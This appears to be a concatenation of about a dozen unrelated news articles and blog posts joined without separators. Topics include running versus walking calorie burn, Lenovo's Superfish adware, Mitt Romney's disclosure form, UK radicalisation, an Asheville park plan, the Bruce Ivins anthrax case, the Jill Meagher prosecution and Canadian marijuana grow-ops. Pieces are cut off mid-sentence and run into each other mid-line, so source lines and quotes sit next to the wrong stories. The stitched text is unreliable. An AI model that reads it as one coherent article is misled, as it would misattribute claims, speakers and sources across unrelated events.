Thanks to the Syracuse researchers, we now know the relative NCB of running a mile in 9:30 versus walking the same mile in 19:00. Their male subjects burned 105 calories running, 52 walking; the women, 91 and 43. That is, running burns twice as many net calories per mile as walking. And since you can run two miles in the time it takes to walk one mile, running burns four times as many net calories per hour as walking. Run Slow or Walk Fast?
I didn't come here to bash walking, however. Walking is an excellent form of exercise that builds aerobic fitness, strengthens bones, and burns lots of calories. A study released in early 2004 showed that the Amish take about six times as many steps per day as adults in most American communities, and have about 87-percent lower rates of obesity.
In fact, I had read years ago that fast walking burns more calories than running at the same speed. Now was the time to test this hypothesis. Wearing a heart-rate monitor, I ran on a treadmill for two minutes at 3.0 mph (20 minutes per mile), and at 3.5, 4.0, 4.5, 5.0, and 5.5 mph (10:55 per mile). After a 10-minute rest to allow my heart rate to return to normal, I repeated the same thing walking. Here's my running vs. walking heart rate at the end of each two-minute stint: 3.0 (99/81), 3.5 (104/85), 4.0 (109/94), 4.5 (114/107), 5.0 (120/126), 5.5 (122/145). My conclusion: Running is harder than walking at paces slower than 12-minutes-per-mile. At faster paces, walking is harder than running.
How to explain this? It's not easy, except to say that walking at very fast speeds forces your body to move in ways it wasn't designed to move. This creates a great deal of internal "friction" and inefficiency, which boosts heart rate, oxygen consumption, and calorie burn. So, as Jon Stewart might say, "Walking fast...good. Walking slow...uh, not so much."
The bottom line: Running is a phenomenal calorie-burning exercise. In public-health terms--that is, in the fight against obesity--it's even more important that running is a low-cost, easy-to-do, year-round activity. Walking doesn't burn as many calories, but it remains a terrific exercise. As David Swain says, "The new research doesn't mean that walking burns any fewer calories than it used to. It just means that walkers might have to walk a little more, or eat a little less, to hit their weight goal."Citizens for Responsibility and Ethics in Washington has called on the Office of Government Ethics (OGE) to refer Mitt Romney to the Department of Justice for having filled an inaccurate campaign disclosure form last year.
In a letter (pdf) sent on Friday to the acting director of the OGE, the watchdog group stated, “The 2010 tax return Mr. Romney released earlier this week includes numerous assets not included on the personal financial disclosure form Mr. Romney filed in August 2011. … According to OGE’s website, ‘when ethics officials find evidence that an employee has violated an ethics criminal statute or regulation, they must refer that evidence to the appropriate authority for action.'”
Romney’s tax return included income from at least 23 funds and partnerships that were not cited in the campaign disclosure form, including interest income from a Swiss bank account and shares in offshore companies located in the Cayman Islands and elsewhere.
A Romney spokesman has described the errors as “trivial” and “inadvertent,” but CREW finds that explanation unsatisfactory.
“Mr. Romney says the errors are minor, but then again he also claims earning $374,000 in speaking fees isn’t much money,” CREW Executive Director Melanie Sloan stated. “In reality, filing an inaccurate disclosure form can be a criminal offense. As a result, the Office of Government Ethics should forward the matter on to the Department of Justice to determine whether Mr. Romney deliberately withheld information.”
“Although Mr. Romney’s campaign has said the candidate will be amending his PFD,” the letter continues, “simply revising the form after having been caught filing an inaccurate one is not sufficient. The numerous inconsistencies between the PFD and the tax return — combined with Mr. Romney’s previous refusals to make the tax return public — suggest Mr. Romney may have deliberately failed to include
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under fire for pre-installing potentially malicious adware called “Superfish” on some consumer laptops.
Superfish is designed to provide users with a “visual search” experience by showing users third-party ads in Google search results. This type of software is often called adware thanks to its ability to automatically display ads.
But, according to security experts, Superfish intercepts encrypted connections leaving them open – allowing hackers use man-in-the-middle style attacks to steal users’ personal data or install malware.
Lenovo was widely criticized for its handling of the issue and weeks later was hit with a proposed class action lawsuit for “fraudulent business practices.”
The ‘common thread’
This latest security problem is causing security experts to become weary of Lenovo.
“The common thread in all of these vulnerabilities is that Lenovo decided to add software on top of Windows, and in the process managed to undermine the security of the entire Windows environment,” Matthew Green, cryptography and research professor at Johns Hopkins University, told Global News.
“The main surprise here is Lenovo’s lack of attention to security detail. These are not deep, complex issues that would only have been caught by a detailed code review. It’s pretty disturbing that these issues are present in software that’s shipped to millions of users.”
Thanks to these vulnerabilities Lenovo earned itself a poor reputation when it comes to security – which is something hackers are likely to take advantage of.
“I think this news shows that security researchers already think [Lenovo is a target] — they’re targeting Lenovo as a source of low-hanging fruit. I imagine that criminals are probably doing the same thing,” Green added.
Source: Global NewsThe world has a long and tragic history of people being prepared to kill – and die – for ideologies. Understanding Islamic radicalisation in this context is key to a meaningful debate on the issue, says Lord Soley
As a young man growing up in the 1950s and 60s I was an avid reader of any books on the political disillusionment with ideology. Fascism had run its dreadful and brutal course; its pre-war attraction had now lost all respectability and few dared admit to supporting the Blackshirts of the British Union of Fascists, as they might have done in pre-war Britain.
Communism, however, was still going strong, and given strength by support from the Soviet Union. Despite the growing evidence of Stalin’s brutal dictatorship, there was still a blind loyalty among adherents to the ideology and a belief that, whatever its current shortcomings, it was on the right road.
Eventually, socialism and capitalism gave birth to our all-embracing social market democracy. True, committed loyalists persevere, but they are not typical of today’s political activists – the majority are now firmly wedded to practical politics in the social democratic mould, even if the electorate seem disenchanted with the prevailing orthodoxy.
I have always struggled with ideology. Yes, it can and does provide a useful set of guidelines in deciding policies, and allows us to set defining boundaries of behaviour in our assumptions about the nature of society and the exercise of power in society. But pushed too far, ideology destroys the very freedoms that are so often part of the assumptions that underpin it.
In the past 50 years, we have borne witness to the slow death of political ideology. And yet, and yet – are we not present at the birth of a new ideology dressed in religious clothing? God is an idea.
Religion is an ideology. And Islam is the newest and strongest of these ideologies. If there is a God, and I have never believed there is, then it is a more powerful and knowledgeable being then any one of us can imagine. In the Abrahamic faiths, the message from God is handed down by the prophets, and the messages are not always consistent. That, however, does not make supporters of a religion any less convinced that the message given to them is correct. And in too many cases, they are prepared to fight and die for their interpretation.
Like political ideology, the strength of religious ideology is the sense of unity and ethical direction it gives to followers. Religious ideology has the same weakness as political ideology – it is prone to splits resulting from different interpretations, and it is from these splits that dissent and disillusionment spring and are followed, all too often, by war.
In Alexandria recently, I was talking to a man teaching preschool children about Islam. I asked him why it was that, in the last 20 years, many millions of Muslims had been killed in conflicts, nearly all of them by other Muslims. He asked for examples and I gave the conflict between Iraq and Iran. “Ah”, he said, “they [Iranian Shias] are not true Muslims”. Such religious divisions are not unique to Islam. My political experience of dealing with Northern Ireland in the 1980s was a forceful reminder of the potential for splits and violence within Christianity.
It seems to me at least arguable that when religious ideology declines, political ideology rises to replace it and vice versa. The strength of religious ideology in 17th century England, for example, both during and after the Civil War, was often exhibited in brutality; and following the peace, Cromwell’s authoritarian view of his Protestantism saw women having to cover their heads and be stopped in the street by troops if some of their hair was showing. This practice is now common with ISIL and also in Iran and Saudi – countries with different interpretations of Islamic history.
Islam is the new ideology of our time. The Arab nations where it holds so much sway have tried other ideologies and lost faith in them – nationalism, socialism, communism and even fascism in the form of the old Bath Party that ruled Syria and Iraq under the dictators.
They are cast aside in favour of the rising star of Islam and even the dream of a caliphate. And in societies still struggling with modernisation and with tribal loyalties not yet forgotten, religion can offer a binding loyalty and be a reminder of past greatness.
So when some of our people sign up to fight in Syria, should we really regard it as something new that we call radicalisation? Is it not better understood as another ideology shrouded in a religious cloak?
The majority of Muslims around the world do not interpret their religion in a rigid and authoritarian way. In recent years, however, there has been a rise in more extreme interpretations, but even these views do not always end in violence.
An extreme interpretation may rather persuade the individual to uphold a number of beliefs that together limit the ability of that individual to adjust to a society where such beliefs are seen as wrong or absurd.
It is possible, for example, for a believer to use Islamic teaching to confirm that a woman must never travel without a male member of the family; that a true Muslim will not have pictures of the human form displayed; that a true believer will not share a religious ceremony with another faith believer; that a non-believer who has had Islam explained to them but still rejects it will ‘burn in the everlasting fire’.
The latter view is particularly important as it is a short step from there to concluding that such people are apostates, and that can lead to violent punishment. I heard similar views expressed by some Christians in Northern Ireland. These and other beliefs mark out the signs of what I can only describe as an extreme view of faith.
The problem for all of us, Muslim and non-Muslim alike, is how to deal with an ideology promoting beliefs which can result for a minority in violence, but for a larger number will limit their full involvement in modern British society. Hasidic Jews are an equivalent of the extreme interpretation of Islam, with strict rules about dress and behaviour that restricts their involvement in society, but without recourse to violence.
Do we really want to see similar rigid interpretations of Islam, with the inevitable marginalisation of such groups in modern and diverse Britain? I don’t, but I am unsure how to address the problem, and that is why we must open up this debate – and we should do it in the context of an extreme view of ideology, rather than just radicalisation.
To facilitate this debate I have invited Aliyah Saleem and Imtiaz Shams, co-founders of Faith to Faithless, to speak on the problems some have in leaving a faith when family and other pressures can be very strong. I think it important that we hear this argument as, for reasons we all understand, radicalisation towards violence is our central concern. But it is not the whole story. There is an ideological debate going on within Islam and we need to hear all aspects of that debate.
Lord Soley is a Labour peer. The ‘Leaving a Religion’ meeting takes place in Committee Room 1 from 6.30pm on Tuesday, 9th February'Community Porch' is the first concept for Beaucatcher Overlook Park (Photo: Friends of Overlook Park)
ASHEVILLE - The mountain views in this area are jaw-droppingly beautiful, drawing visitors from around the world to gape at ridges that fade from dark green to pink at day's end.
But in terms of public places with a good view in city limits, choices are few.
Now local conservation advocates say there is a golden opportunity to change that, and they want the public's help.
The group Friends of Overlook Park is seeking public input on three concepts for a public overlook near one of Asheville's highest points. Beaucatcher Overlook Park would be at the site of the city's former White Fawn Reservoir, said Bob Roepnack, who manages the friends group that is affiliated with the nonprofit conservation group GreenWorks.
The park would be just southeast of downtown with views to the southwest.
"This park not only benefits the residents all around the area, but as for a tourist destination it makes it a nice place for people to go up there and have a nice wedding party or hold other events," Roepnack said. "There could be teaching opportunities, looking at plants and demonstrating what grows up there."
The space could accommodate a group of 20-30 people, he said.
The meeting is 5-7 p.m. Tuesday at the Stephens-Lee Recreation Center, 30 George Washington Carver Ave. The public will get a chance to view the concepts created by three teams of landscape architects.
Ideas range from special viewing platforms to mountaintop orchards and edible plants.
"Community Porch"
Overlook feels like a public porch.
Natural knoll "spills" into the pathway where there is a break in the reservoir wall.
City sunset overlook.
Iconic covered viewing platform pavilion over trail.
Reservoir serves as a "room" - multiple smaller rooms and series of large and small terraces for views.
Pisgah overlook.
15 parking spaces.
Knoll with edible plantings.
Ridge line promontory.
Vegetation frames views.
Some details on the 'Community Porch' concept (Photo: Friends of Overlook Park)
'WNC Mountaintop' is the second concept for Beaucatcher Overlook Park (Photo: Friends of Overlook Park)
"WNC Mountaintop"
Spaces defined by eco-system vegetated "rooms" with balds, meadows, wetlands and a rain garden.
Semi-formal spaces.
Large meadow.
Kenilworth trail connection that connects to McCauley Drive and Reservoir Road.
Water/reservoir theme and "inspired circulation."
Vegetation and grading used to soften, frame and define spaces, including meditative spaces and grass rippling in wind.
Series of viewsheds.
10 parking spaces with formal lawn.
Connection from forest to "bald," using native grasses mown once a year.
Details for the 'WNC Mountaintop' concept. (Photo: Friends of Overlook Park)
'Skyview Park' is the third concept for Beaucatcher Overlook Park (Photo: Friends of Overlook Park)
"Skyview Park"
Overlook tower for a city view.
Formal lawn for picnicking and kite flying.
Terracing creates formal structure and becomes more informal farther away from reservoir.
Reservoir "radiates" outward with exposed rim and seat walls.
Orchard at entrance with interpretive elements.
Trail access from McCauley Drive.
"Drama" of views, which are concealed and then revealed.
Forest has definitive edge.
Edible plants along lower walkway.
Details on the 'Skyview Park' concept. (Photo: Friends of Overlook Park)
Car access would be by Reservoir Road, but parking would be limited to a few spaces mainly for the handicapped, according to the concepts, though there would be drop-off areas.
The primary way view seekers would get to the park would be by foot with a connection to the Beaucatcher Greenway, a path linking Memorial Stadium with the landmark Helen's Bridge at a northern section of Beaucatcher Mountain. A hike from the Memorial parking lot near downtown would take 15-20 minutes. The greenway has been approved and is awaiting a construction start.
"It’s a very nice shaded walk right in the middle of an urban area. So you don’t have to get into your car to have a nice little hike," Roepnack said.
Greenworks and the friends group paid the landscape architects and have engaged a design consultant, Equinox, that will produce the final master plan following public input.
The Tuesday meeting will likely be followed with other public input opportunities, Roepnack said.
There is no estimate on what it would cost to built the park. The overlook advocates are hoping to have a master plan document ready to share with the city by the fall. From there, it's unclear exactly how construction would be funded. City Council is exploring a multimillion-dollar bond referendum that could include parks.
The old White Fawn Reservoir was built in the 1930s to supply Asheville with drinking water, but has long since been drained and filled with old construction debris.
Park vision:
"The park reflects Asheville's aesthetic, natural and cultural qualities with a simple, sustainability designed (with use of native
and recycled materials) and inspirational passive park with National Park qualities," according to the friends group.
Public input meeting
When: 5-7 p.m. Tuesday.
Where: Stephens-Lee Recreation Center, 30 George Washington Carver Ave.
Contracting landscape architecture firm Equinox will use the input in creating a park master plan.
Read or Share this story: http://avlne.ws/28TfpLaMedia playback is unsupported on your device Media caption The BBC's Steve Evans says the motive behind the desecration is unclear
The graves of 40 German soldiers who died during World War I have been vandalised at a military cemetery in northern France, officials say.
Wooden crosses were pulled up from the Saint-Etienne-a-Arnes cemetery and some were later used for a camp fire.
French President Francois Hollande condemned the act, saying nothing would change French friendship with Germany.
He was meeting German Chancellor Angela Merkel to mark the 50th anniversary of the formal post-war reconciliation.
The two leaders were attending the main ceremony in the city of Reims, about 40km (25 miles) east of where the grave attack happened.
'Important friendship'
Image caption The French and German leaders disagree on the best way out of the eurozone debt crisis
The German soldiers whose graves were vandalised were all aged between 14 and 18, French officials said.
"An inquiry is under way and all means are being employed to find those responsible for this terrible desecration," the interior ministry said in a statement.
A spokesman at the local prefecture said it was not immediately clear whether the it was a "determined action" or the work of "irresponsible people", the AFP news agency reports.
The spokesman added that there was no sign of any political message after the attack - just hours before Mr Hollande and Mrs Merkel met in Reims' imposing cathedral.
Mr Hollande denounced the desecration, while reaching out to Mrs Merkel.
"No obscure force... can alter the deep Franco-German friendship," he said.
"Madam Chancellor, I propose from our side to open and even cross a new threshold together that will lead to even closer friendship between our two nations."
Mrs Merkel urged Mr Hollande and other European leaders to take on the "Herculean task" of completing economic and monetary union at a political level.
"Europe is more than just a currency, and the Franco-German relationship is vital in this regard," she said.
The reconciliation between the former foes was symbolically achieved during the 1962 meeting between the then leaders of France and Germany, Charles de Gaulle and Konrad Adenauer.
But currently the Franco-German friendship is fraught with difficulties, the BBC's Steve Evans in Berlin reports.
France and Germany disagree on economics, with President Hollande balancing budgets by raising taxes on the wealthy and Chancellor Merkel seeing tighter spending as important, our correspondent adds.Shrugging off the fiscal caution of recent years, Governor Deval Patrick proposed a $1.9 billion tax increase tonight in his State of the Commonwealth address, saying it was necessary for the state to invest more in education and the state’s transportation network to “accelerate growth and expand opportunity.’’
Patrick called for a 1 percentage point increase, from 5.25 percent to 6.25 percent, in the state income tax. At the same time, he called for a decrease in the sales tax from 6.25 percent to 4.5 percent.
The net effect of his proposals, which included a number of other changes to the tax code, would be $1.9 billion in new revenue to fund an ambitious and expensive new agenda for 2013, according to a summary released by the Executive Office of Administration and Finance.
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Patrick’s speech in the House chamber, which lasted only about 25 minutes, came as he begins the second half of his second and final term and is seeking to cement his legacy. It also came after the state government has grappled for years with lackluster revenues due to the lingering impact of the Great Recession.
While Patrick, a Democrat, was surrounded by the trappings of office and spoke to an overwhelmingly Democratic Legislature, there were voices of dissent. His plan was immediately slammed by House Minority Leader Bradley Jones, a North Reading Republican, who called the tax proposal “economically devastating’’ and “both reckless and irresponsible.’’
The proposal, “if passed, would represent one of the largest tax increases in the history of the Commonwealth, as well as the largest expansion of the state’s government we have seen,’’ Jones said in a statement.
Patrick began making the case earlier this week for the tax increase, laying out a vision of the future that includes major transportation projects from the Berkshires to Cape Cod and an ambitious investment in education from preschool to college.
“There is no good time to raise taxes. I know how tough the times have been on the people and families of the Commonwealth. And though the worst of the recession is over, many, many families still face tough decisions and have deep anxiety about the future. I would not ask if I did not believe in my heart that investing meaningfully today in education and transportation will significantly improve our economic tomorrows,’’ Patrick said in prepared remarks.
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Patrick’s speech called for dedicating the sales tax to a public works fund that will support the transportation plan that he outlined on Monday. The income tax increase will be used to pay for the education intiatives he announced Tuesday.
To “make that increase fair,’’ Patrick also proposed doubling the personal exemptions for every taxpayer and eliminating a number of itemized deductions. Those changes are intended to make the tax code “simpler and fairer,’’ he said.
The personal exemptions, which reduce the amount of a person’s income that is subject to tax, range now from $4,400 for an individual taxpayer to $6,800 for a head of household to $8,800 for a married couple filing jointly. They would increase to $8,800, $13,600, and $17,600, respectively.
“There will be debate. I encourage it,’’ Patrick acknowledged in his speech. “Every one of us here has to think twice before asking people who already feel strapped to contribute a little more. But this time, instead of sinking into the same old slogans, let’s have a serious, respectful, and fact-based debate. The people we work for want the schools I have described; they want the rail and road services we have laid out; and above all they want the opportunity and growth these investments will bring us. We on their behalf have choices to make. I choose growth.’’
Unleashed from the political constraints of a re-election campaign — Patrick has said he will not run for a third term — Patrick is proposing the kind of tax increases few politicians, including Democrats, have dared to push. Patrick has previously signed an increase in the state sales tax and has also closed corporate tax loopholes. But the plan he is now proposing dwarfs those in their scope.
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Patrick is facing criticism from those who have pointed out that he said during his 2010 reelection campaign that he had no plans to propose a broad-based tax increase.
The tax proposal also could rally Republicans and anti-tax conservatives in the upcoming special Senate election to replace John F. Kerry and in the 2014 Massachusetts governor’s race.
Senator Bruce Tarr, the Gloucester Republican who leads the minority in the Senate, said tonight that the proposals came in the context of “an uncertain economic recovery, a state budget wrestling with a gap of $540 million, and too many people that are unemployed or underemployed.’’
Tarr said changing tax rates isn’t the only way to increase revenue. “Building a stronger economy with more taxpayers is also important, and we need to fully understand the adverse impacts a nearly $2 billion tax increase will have on the economic growth we need,’’ he said in a statement.Posted by Andy, under NOTEBOOK
It’s probably not a good idea. Eh. BUT I HAVE TO DO IT! I’ll tell you my crime if you promise to hear my shameless excuse. Deal? Deal!
Here it is. I am a bit of a cheesy, silly nickname-oholic. Especially with my kids. There! I said it.
“My dad calls it ‘treating me like an adult.’ Others might call it child labor.” Okay! How could I NOT call this guy Captain Lucas Maximus!?!
I know some people consider this bad for “child development,” whatever that means. But in a way I can agree with this, though. I try to talk to my boys as if they’re real people, adults who alternate between being either very charming or totally anti-social a##holes, but adults in any case. Just miniature. People could easily argue that my calling them really strange, syrupy nicknames puts a bit of damper on this approach.
To demonstrate how mentally unstable my nicknaming can get, let’s look at a before and after. When I was a kid, one of our family cats was named Coffee. She was Siamese, so in “kid logic” this name was considered a stroke of pure genius. But once my nickname generator powered up and went to work for a few years, I wound up calling her…
Warfsconesbalitscones. Said like: wharf-scones-bah-leet-scones with a rolling Scottish “r”. Uhhhh, I… I really have no explanation. I throw myself on the mercy of the jury. I plead insanity!
I call my wife “Darlin'” (never with a g) and she calls me Honesy (hon-ay-sie). This is when we aren’t calling each other super, crazy dorky names, sometimes with various foreign accents.
I’ll call all my boys “lad” or “man lad” by default. But let’s look at some of the crazinames I’ve given them individually. For Cody? Codeman, Code-ba-bope, Truman Capody and Codymandu (like Katmandu… sort of). For Max? Mad Max is obvious, but Fuzz-to-the-Bootnius-Man-Lad-One is not so obvious. Good for a password, maybe?
And now Lizzie has jumped in, full on, with Lucas. What started as Buddy, became Buggy, then Buggizna, and finally Bugginya. We’ll sing the 1935 Cole Porter song “Begin the Beguine” to him but altered to “When you begin, begin the Bugginya…” HEY! I warned you at the begginning! We are totally in-f##king-sane!
“WhuchootalkinaboutWillis! What did you just call me?” Shut! UP!!! It’s YOUR fault, you cutie patooties!
I’ll call them these names without a second thought, and they don’t bat an eyelash. When we’re out and about though, well that’s different. I’ll call out to one of them with one of my crazy, homemade quilts of a name and then the metaphorical hairs on my neck will stand up, like a movie hero sensing a sniper taking sight, I know someone’s taken notice. I turn my head, slow like a heavy statue being rotated by ropes, and then I smile awkwardly at the puzzled bystander staring blankly at me. Heh! What can I say… I’m insane? I come from another planet? I have the emotional maturity of a boy who was raised by puppies?
Plan B. I just shrug and chuckle. And then walk away quickly.
So, what’s my excuse to all of you for this? How do I take my desire to call my boys things you’d name a baby unicorn or a comic strip character and reconcile it with my desire to treat them like adults? Drum roll… I call regular adults redorkulous nicknames, TOO! So I AM treating them the way I treat adults! Ha ha! Loophole? Yeah, I’m good, I just jumped through it, thanks.
The best part is that now that Cody and Max are older and I don’t call them these names very often, for special moments, I can make the lights flicker and their hearts soar by calling them by one of their nicknames. If the moment is right, I think I will always be able to do this. Provided they don’t grow up to be pierced and tattooed emo parent haters, of course.
My second line of defense in all of this: I KNOW MOST OF YOU OTHER PARENTS DO THIS, TOO! To quote Darth Vader: “Search your feelings, you know it to be true!” Admit it! What craziness have YOU called your kid? Huh?
—
Blah blah blah You want some pictures now, right?Image caption Israeli settlement building has scuppered peace talks
Dozens of Israeli intellectuals and artists have signed a petition calling for a Palestinian state based on 1967 borders and an end to the occupation.
The signatories include 16 winners of the Israel Prize, the country's highest civilian honour. Among them are rights pioneer Shulamit Aloni, historian Yehuda Bauer and sculptor Dani Karavan.
The petition also backs the Palestinian drive for recognition by the UN, in the absence of progress in peace talks.
Israel opposes any unilateral move.
The statement, released on Wednesday, calls for an Israeli pullout from the West Bank, where settlements and the area they take up cover 40% of the territory.
"The complete end of occupation is a fundamental condition for the freedom of both peoples," it says.
Two-state solution
The laureates plan to sign the petition - also inked by several dozen other Israeli artists and intellectuals - on Thursday in front of the building where the state of Israel was proclaimed in May 1948.
Earlier this month, a group of former Israeli security chiefs and business leaders also presented a proposal - called the Israeli Peace Initiative - to re-start stalled peace talks with the Palestinians.
The moves come ahead of plans by the Palestinians to ask the United Nations General Assembly to recognise an independent Palestinian state within the borders that existed before the start of the 1967 Six Day War. This includes the West Bank, Gaza Strip and East Jerusalem.
Israeli Prime Minister Benjamin Netanyahu has agreed to the principle of a two-state solution; however, the two sides are nowhere near agreement on most of the core issues.
US-brokered talks collapsed within weeks of their launch in September in a dispute over continued settlement building in the occupied West Bank.
Almost 500,000 Jews live in settlements on occupied territory. The settlements are illegal under international law, though Israel disputes this.Back in May, McClatchy provided new information that added signficant doubt to the FBI’s accusation that Bruce Ivins worked alone in the 2001 anthrax attacks. The key information McClatchy reported was that in addition to the already known abnormally high silicon content in the spores found in the attack material, high concentrations of tin were often found in association with the silicon. They then went on to provide convincing evidence that this unique chemical fingerprint could have come about from a process in which a tin-catalyzed polymerization of silicon-containing precursor molecules was employed to confer on the spores their unique properties which allowed them suspend very easily in air. The key point in this observation is that this highly sophisticated chemical treatment of the spores requires both expertise and equipment that Ivins did not have, making it impossible for him to have carried out the attacks alone if the spores were indeed treated with this process.
This morning, William Broad and Scott Shane continue this thread of argument in a New York Times article. Broad and Shane report that the scientists who first raised the tin-silicon combination issue now have a scientific article coming out in the Journal of Bioterrorism & Biodefense:
F.B.I. documents reviewed by The New York Times show that bureau scientists focused on tin early in their eight-year investigation, calling it an “element of interest” and a potentially critical clue to the criminal case. They later dropped their lengthy inquiry, never mentioned tin publicly and never offered any detailed account of how they thought the powder had been made. The new paper raises the prospect — for the first time in a serious scientific forum — that the Army biodefense expert identified by the F.B.I. as the perpetrator, Bruce E. Ivins, had help in obtaining his germ weapons or conceivably was innocent of the crime.
Here is how I described the science behind the current question when the McClatchy article was published:
The FBI carried out a special form electron microscopy that could identify the location of the silicon in the spores from the attack material. They found that the silicon was in a structure called the the spore coat, which is inside the most outer covering of the spore called the exosporium. If silica nanoparticles had been used to disperse the spores, these would have been found on the outside of the exosporuim (see this diary for a discussion of this point and quotes from the scientific literature) because they are too large to penetrate it. No silicon signature was seen on the outside edge of the exosporium. What is significant about the type of silicon treatment suggested in the McClatchy piece is that both high silicon and high tin measurements were found in several samples and that there is an alternative silicon treatment that would involve a tin-catalyzed polymerization of silicon-containing precursor molecules. McClatchy interviewed scientists who work with this process and they confirmed that the ratio of silicon to tin found by the FBI is in the range one would expect if such a polymerization process had been used. What McClatchy doesn’t mention in their report is that it would seem for a polymerization process of this sort, the silicon-containing precursor molecules would be small enough to penetrate the exosporium before being polymerized, or linked together into much larger molecules, once they reached the spore coat. This would mimic the location of silicon incorporated “naturally” into spores.
In today’s article, Broad and Shane report that both Alice Gast, who chaired the National Academy of Science panel that reviewed the FBI’s scientific work and Nancy Kingsbury, the head of an ongoing Government Accountability Office analysis, agree that the silicon-tin issue is worthy of further investigation.
In my ongoing analysis of the known scientific facts surrounding the anthrax attacks, I have been insistent that further attention needs to be paid to secret government laboratories as the potential real source of the attack material. Broad and Shane appear to be headed in that same direction:
If Dr. Ivins did not make the powder, one conceivable source might be classified government research on anthrax, carried out for years by the military and the Central Intelligence Agency. Dr. Ivins had ties to several researchers who did such secret work.
Note that since Ivins “had ties” to several researchers within these classified facilities, that opens a direct route by which such a facility could have received a sample from Ivins’ RMR-1029 flask which has been identified genetically as the likely precursor from which the attack material was cultured.
We also learn this morning that on Tuesday evening, the PBS series Frontline will air an episode produced in cooperation with McClatchy and ProPublica. This report will center on the tremendous pressure the FBI applied to Ivins and how such pressure “can shred an individual’s life”:
According to this hard-edged report done in partnership with McClatchy Newspapers and Propublica, the FBI did more than zero in. Under tremendous pressure to solve the case that started in 2001 with anthrax mailed to U.S. senators and network anchors, the agency squeezed Ivins hard — using every trick in the book to get a confession out of him even as he insisted on his innocence to the end. Ivins was a troubled guy with some distinctive kinks, the report acknowledges, but even FBI consultants in the case now admit that the agency overstated its evidence and never found a smoking gun to prove the researcher’s guilt. In fact, evidence was revealed last summer that shows Ivins did not have the equipment needed to make the powdery kind of anthrax sent through the mail. That didn’t stop the FBI then — or now — in acting like it found its man.
Even as both scientists and journalists poke gaping holes in their now-closed investigation, the FBI continues to stand firm in its position that Ivins acted alone in the anthrax attacks, and their spokesman reiterated this position to Broad and Shane. Given the apparent momentum of the scientists and journalists, though, the FBI’s position begins to look more and more like something Saddam Hussein’s infamous “Baghdad Bob” would spout.THIS is Adrian Ernest Bayley — the man accused of raping and murdering Jill Meagher.
The Age is allowed after a court ruling yesterday to publish for the first time the face of the man who allegedly abducted Ms Meagher from Sydney Road in Brunswick.
Deputy Chief Magistrate Felicity Broughton yesterday ruled there was no need to ban publication of Bayley's image because identity did not appear to be an issue in the case.
Ms Broughton said that in such circumstances she did not believe the publication of photographs of Bayley would prejudice the administration of justice. She did, however, order any damaging material about Bayley be removed from the internet.
Ms Broughton said she disagreed with the view that the internet was an unregulated and anarchic environment that meant any ban would be futile. Most websites such as Facebook had sophisticated organisational structures that could be held accountable, she said.
The magistrate handed down her decision at 2.15pm yesterday after Victoria Legal Aid lawyers acting for Bayley had applied for suppression orders preventing the publication of any prejudicial material and images, photographs or likenesses of him.
Defence lawyer Helen Spowart tendered to the court a vast amount of internet-sourced material which she said was designed to express or incite hatred towards Bayley. The material had appeared on Facebook, Twitter and YouTube.
A bearded Bayley appeared via videolink from the Melbourne Assessment Prison to hear Ms Broughton's decision yesterday.
He sat behind a table with his head bowed and his hands clasped in front of him for most of the 35-minute hearing. Wearing a grey jumper, Bayley would occasionally stare at the monitor showing courtroom 4 and scratch his beard.
He spoke only once during the hearing, when the magistrate asked him if he could hear and see her and he replied, ''Yes.''
Ms Broughton said there had been an extraordinary level of media and public interest in the case.
Mainstream media had so far been responsible in its reporting and the thrust of the suppression application was directed at non-mainstream material online, she said.
The prohibition order will remain until January 18 when Bayley is next due to appear in court for a committal mention.
Ms Spowart had told the court earlier that the material fuelling the vilification of Bayley could irreparably damage his chances for a fair trial.
Bayley had been labelled in ''subhuman terms'' and the continued publication of the material could contaminate the views of potential jurors, she said. A number of websites had refused to remove the damaging material despite requests from Victoria Police.
Ms Spowart said the suppression order was needed to send a message to those responsible that continued defiance would result in criminal sanctions and would not be tolerated.
When Bayley first appeared in court on September 28, Ms Meagher's distraught husband, Tom, pleaded with people on social media to stop posting comments about Bayley for fear of interfering with the court case.
Ms Meagher, 29, who moved with her husband from Ireland to Melbourne three years ago, was allegedly abducted while walking home alone from a bar in Sydney Road early on Saturday, September 22."It's a bizarre situation," the Arizona Republican senator said Wednesday of the probe. | AP Photo McCain: House panel lost 'credibility' to handle Russia probe
Sen. John McCain said Wednesday that a special committee was needed to investigate ties between the Trump campaign and Russian officials because the House Intelligence Committee lost "the credibility to handle this alone."
The Senate Armed Services Chairman was highly critical of the public feuding between House Intel Chairman Devin Nunes, a Republican, and ranking Democratic member Rep. Adam Schiff, who traded explosive statements Wednesday regarding their panel's investigation into Trump-Russia ties.
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"It's a bizarre situation," the Arizona Republican senator, speaking to MSNBC's Greta Van Susteren, said of the ongoing probe. "I think that this back and forth and what the American people have found so far is that no longer does Congress have the credibility to handle this alone."
The topic burst into the limelight earlier Wednesday when Nunes (R-Calif.) declared that Trump transition officials, and potentially President Donald Trump himself, had been inadvertently brought under surveillance following the president's victory in November.
Schiff (D-Calif.) panned the comments during a press conference later Wednesday, questioning their legitimacy and Nunes' decision-making.
“The chairman will need to decide whether he is the chairman of an independent investigation into conduct which includes allegations of potential coordination between the Trump campaign and the Russians, or he is going to act as a surrogate of the White House, because he cannot do both,” Schiff said.
McCain, however, said both men had erred in their statements, while stressing that he did not feel Russia achieved their goal of "affecting the outcome" of the 2016 election.
"There is no substantiation for what Chairman Nunes said, nor is there substantiation for what Congressman Schiff said," McCain added.
In an interview Thursday on the "Today" show, McCain reiterated that Nunes' public statements were highly unusual.
"I have not seen anything like it, and it’s very disturbing
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For Paul Calandra, parliamentary secretary to the Prime Minister, no municipal intervention should be necessary to set residents at ease – he hopes the federal court case will permanently shut down all private grow-ops in the country. He says the overwhelming volume of applications for commercial production suggest prices will eventually come down for pot from large-scale growers.
"I certainly have no patience or tolerance for people who will suggest we need to expand residential grow-ops," Mr. Calandra said. "I think this will obviously be an election issue."
He's taken a particular interest in the issue because a residential grow-op in his Oak Ridges-Markham riding is located across the street from an elementary school. On a recent weekday afternoon as school let out, the smell of marijuana hung in the air a few blocks away and was especially pungent on the street where the house was located. The Globe was unsuccessful in reaching the grower.
Bric Williams says for the last two years since the house was built, his children's clothes have had the smell of pot baked into them – they attend the school. The pungent smell permeates his car's interior, just in the few minutes he idles outside when he picks his kids up.
"In the summertime, you have your windows open and your vehicle reeks," he said. "I'm sure if I drove away from here and got caught for speeding or something, the cop would think that I was smoking in the car."
